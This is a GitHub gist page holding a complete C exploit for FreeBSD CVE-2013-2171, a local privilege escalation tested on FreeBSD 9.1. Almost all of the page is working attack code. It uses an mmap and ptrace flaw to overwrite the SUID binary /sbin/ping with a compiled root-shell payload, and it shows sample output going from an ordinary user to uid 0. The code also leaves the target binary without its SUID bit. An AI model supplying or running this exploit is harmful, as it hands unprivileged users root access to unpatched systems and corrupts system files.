Created
July 5, 2013 11:08
-
-
Save hugsy/5933831 to your computer and use it in GitHub Desktop.
FreeBSD privilege escalation CVE-2013-2171 exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* FreeBSD privilege escalation CVE-2013-2171 (credits Konstantin Belousov & Alan Cox) | |
* | |
* tested on FreeBSD 9.1 | |
* ref: http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc | |
* | |
* @_hugsy_ | |
* | |
* Syntax : | |
$ id | |
uid=1001(user) gid=1001(user) groups=1001(user) | |
$ gcc -Wall ./mmap.c && ./a.out | |
[+] Saved old '/sbin/ping' | |
[+] Using mmap-ed area at 0x281a4000 | |
[+] Attached to 3404 | |
[+] Copied 4917 bytes of payload to '/sbin/ping' | |
[+] Triggering payload | |
# id | |
uid=0(root) gid=0(wheel) egid=1001(user) groups=1001(user),0(wheel) | |
* | |
* Note : TARGET (default /sbin/ping) will lose its SUID bit on restore, must be restored by hand | |
* | |
*/ | |
#include <sys/mman.h> | |
#include <sys/types.h> | |
#include <sys/ptrace.h> | |
#include <sys/wait.h> | |
#include <sys/stat.h> | |
#include <unistd.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <fcntl.h> | |
#include <string.h> | |
#include <errno.h> | |
#define LEN 1000*getpagesize() | |
#define TARGET "/sbin/ping" // will lose its SUID bit on restore, must be restored by hand | |
void kaboom(int pid, caddr_t addr) | |
{ | |
int nb, i, a, fd, n; | |
char buf[60000] = {0,}; | |
a = i = 0; | |
fd = open(TARGET, O_RDONLY); | |
nb = read(fd, buf, 60000); | |
close(fd); | |
printf("[+] Saved old '%s'\n", TARGET); | |
printf("[+] Using mmap-ed area at %p\n", addr); | |
if (ptrace(PT_ATTACH, pid, 0, 0) < 0) { | |
perror("[-] ptrace(PT_ATTACH) failed"); | |
return; | |
} | |
printf("[+] Attached to %d\n", pid); | |
wait(NULL); | |
fd = open("./sc.c", O_WRONLY|O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH); | |
write(fd, "#include <stdio.h>\nmain(){ char* s[]={\"/bin/sh\",NULL};setuid(0);execve(s[0],s,0); }\n",84); | |
close(fd); | |
if (system("gcc -o ./sc ./sc.c") != 0) { | |
perror("[-] gcc"); | |
return; | |
} | |
fd = open("./sc", O_RDONLY); | |
while (1) { | |
int a; | |
int n = read(fd, &a, sizeof(int)); | |
if (n <= 0) | |
break; | |
if (ptrace(PT_WRITE_D, pid, addr+i, a) < 0) { | |
perror("[-] ptrace(PT_WRITE_D) failed"); | |
return; | |
} | |
i+=n; | |
} | |
close(fd); | |
printf("[+] Copied %d bytes of payload to '%s'\n", i, TARGET); | |
printf("[+] Triggering payload\n"); | |
system(TARGET); | |
printf("[+] Restoring '%s'\n", TARGET); | |
for (n=0, i=0; n<nb; n++) { | |
if (ptrace(PT_WRITE_D, pid, addr+n, *(buf+n)) < 0) { | |
perror("[-] ptrace(PT_WRITE_D) failed"); | |
return; | |
} | |
} | |
ptrace(PT_DETACH, pid, 0, 0); | |
printf("[+] Done\n"); | |
return; | |
} | |
void dummy(int fd, caddr_t addr) | |
{ | |
sleep(1); | |
munmap(addr, LEN); | |
close(fd); | |
return; | |
} | |
int main(int argc, char** argv, char** envp) | |
{ | |
int fd = open(TARGET, O_RDONLY); | |
caddr_t addr = mmap(NULL, LEN, PROT_READ, MAP_SHARED, fd, 0); | |
pid_t forked_pid = fork(); | |
switch(forked_pid) { | |
case -1: | |
return -1; | |
case 0: | |
dummy(fd, addr); | |
break; | |
default: | |
munmap(addr, LEN); | |
close(fd); | |
kaboom(forked_pid, addr); | |
wait(NULL); | |
break; | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment